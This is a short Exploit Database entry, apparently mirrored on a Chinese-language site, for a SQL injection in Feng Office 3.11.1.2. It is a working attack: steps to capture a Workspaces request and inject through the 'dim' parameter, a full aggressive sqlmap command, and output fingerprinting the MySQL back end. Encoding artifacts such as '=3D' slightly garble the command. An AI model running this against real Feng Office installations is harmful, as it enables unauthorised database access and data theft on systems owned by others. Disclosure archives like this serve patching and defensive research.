Feng Office 3.11.1.2 – SQL Injection

• Exploit Database
• 30 阅读

• 作者： Andrey Stoykov
  日期： 2025-04-10
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/52154/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30

  # Exploit Title: Feng Office 3.11.1.2 - SQL Injection # Date: 7/2024 # Exploit Author: Andrey Stoykov # Version: 3.11.1.2 # Tested on: Ubuntu 22.04 # Blog: http://msecureltd.blogspot.com     SQL Injection:   1. Login to application 2. Click on "Workspaces" 3. Copy full URL 4. Paste the HTTP GET request into text file 5. Set the injection point to be in the "dim" parameter value 6. Use SQLMap to automate the process   sqlmap -r request.txt --threads 1 --level 5 --risk 3 --dbms=3Dmysql -p dim = --fingerprint   [...] [12:13:03] [INFO] confirming MySQL [12:13:04] [INFO] the back-end DBMS is MySQL [12:13:04] [INFO] actively fingerprinting MySQL [12:13:05] [INFO] executing MySQL comment injection fingerprint web application technology: Apache back-end DBMS: active fingerprint: MySQL >=3D 5.7 comment injection fingerprint: MySQL 5.7.37 [...]